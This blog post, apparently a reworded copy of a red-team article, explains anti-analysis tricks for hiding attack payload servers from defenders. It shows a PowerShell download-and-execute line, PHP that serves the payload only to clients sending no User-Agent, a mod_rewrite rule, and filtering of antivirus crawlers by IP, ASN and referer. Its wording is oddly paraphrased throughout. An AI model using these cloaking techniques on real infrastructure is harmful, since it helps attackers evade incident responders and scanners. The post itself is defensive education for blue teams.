Brief introduction
In this short post I would like to show 1 of the techniques utilized by red teamers and real attackers to set up decoys for blue teamers. Defenders should be aware that they are not alone in setting traps specified as honeypots, advanced attackers are besides actively looking to fool blue squad (usually the goal is to make analysis more hard and keep malicious content operational for longer period of time).
Headers dependent response
Let’s presume that the blue squad analyzes an incidental and they had found that distant PowerShell payload has been executed:
IEX (New-Object Net.WebClient).DownloadString("https://example.com/payload.ps1")
(for a proof-of-concept purposes this payload is simply
ipconfig/all)
Most blue teamers will effort download this payload as shortly as possible before it will be deleted from the server, for example:
$ curl -i https://example.com/payload.ps1
HTTP/1.1 404 Not Found
Date: Sun, 15 Dec 2019 13:17:29 GMT
Strict-Transport-Security: max-age=15552000
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Unfortunately it looks like it is already gone… but is this truly true? Nope, this is just deceptive trick utilized for anti-analysis:
<?php
if (!$_SERVER['HTTP_USER_AGENT']) {
echo 'Invoke-Expression -Command "cmd.exe /c ipconfig/all"';
} else {
http_response_code(404);
}
The PHP code above will return the script erstwhile requested utilizing PowerShell, but for any software that sends the User-Agent HTTP header, specified as curl or web browser it will return HTTP mistake code 404 (Not Found) – it is simply a very simple technique, but besides very effective.
Raw PowerShell (in our case v5.1) HTTP request can be viewed for example utilizing Wireshark:
GET /payload.ps1 HTTP/1.1
Host: example.com
Connection: Keep-Alive
As stated before, there is no User-Agent header sent erstwhile utilizing PowerShell. In HTTPD logs it looks like this:
1.3.3.7 - - [15/Dec/2019:14:12:33 +0100] "GET /payload.ps1 HTTP/1.1" 200 3763 "-" "-"
1.3.3.7 - - [15/Dec/2019:14:17:24 +0100] "GET /payload.ps1 HTTP/1.1" 404 3660 "-" "curl/7.58.0"
Where the first request is PowerShell and the second is curl. To retrieve the content of the script utilizing curl we request to send it with an empty User-Agent header by utilizing the -A switch:
$ curl -A '' https://example.com/payload.ps1
Invoke-Expression -Command "cmd.exe /c ipconfig/all"
The trap shown above which parses PHP script as a PowerShell script (ps1) can be made utilizing mod_rewrite rule:
$ cat .htaccess
RewriteEngine on
RewriteRule ^(.*)\.ps1$ $1.php [nc]
After deploying this regulation on the server, requests ending with .ps1 (PowerShell script) will execute PHP scripts with same name, so payload.ps1 is just payload.php with example content mentioned above.
Other example that can be utilized to trick the analyst is content switching:
<?php
if (!$_SERVER['HTTP_USER_AGENT']) {
echo 'Invoke-Expression -Command "cmd.exe /c ipconfig/all"';
} else {
echo 'Invoke-Item c:\windows\system32\calc.exe';
}
If PowerShell sends the request then “malicious” content will be provided, otherwise there will be non-malicious content returned, but inactive a PowerShell script – which will look like there was no malicious payload.
IP/ASN and referer dependent response
Another fun fact is related to antivirus software which frequently uses crawlers, specified as socialmediascanner.eset.com from which request look like this:
91.228.167.88 - - [06/Jul/2017:20:45:03 +0200] "GET /book/ HTTP/1.0" 200 29259 "https://socialmediascanner.eset.com" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36"
A URL is provided in the HTTP Referer header which contains information about ESET Social Media Scanner, additionally besides the IP address is in AS50881 ESET ASN.
107.178.194.109 - - [15/Dec/2019:14:04:52 +0100] "GET /payload.ps1 HTTP/1.1" 200 4549 "http://example.com" "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) AppEngine-Google; (+http://code.google.com/appengine; appid: s~virustotalcloud)"
66.102.6.10 - - [15/Dec/2019:14:04:52 +0100] "GET / HTTP/1.1" 200 5423 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon"
66.102.6.8 - - [15/Dec/2019:14:04:52 +0100] "GET /favicon.ico HTTP/1.1" 404 4718 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon"
66.102.6.10 - - [15/Dec/2019:14:04:57 +0100] "GET /payload.ps1 HTTP/1.1" 200 4549 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon"
All IP addresses are from AS15169 Google and besides User-Agent is apparent due to the fact that Google App Engine contains VirusTotal application name.
For example if a red teamer or a real attacker will be conducting a targeted attack on any Polish company then he can simply usage GeoIP [https://github.com/maxmind/GeoIP2-php] to make conditions based on IP address country origin, ASN etc. Most likely it will cut off most of specified antivirus crawlers...
Another example is related to ticket systems due to the fact that any of them don’t usage rel=noreferrer [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy#Integration_with_HTML], so their URLs are not only leaked outside the organisation, but can be easy utilized in a condition as $_SERVER['HTTP_REFERER']. Many years ago erstwhile I was actively participating in bug bounty programs I was able to find a lot “hidden” ticket systems of safety teams (CSIRT) utilizing this simple technique. These systems not only disclosed their URL (sometimes publically accessible) and ticket number, but sometimes could be utilized to find which ticket strategy software was used. nevertheless there are besides more severe examples in which ticket strategy would return information about internally utilized domain, which attacker could usage in an attack that I already described in a different article about interior domain collision [https://blog.redteam.pl/2019/10/internal-domain-name-collision-dns.html] – where I described a real life script of specified DNS collision attack.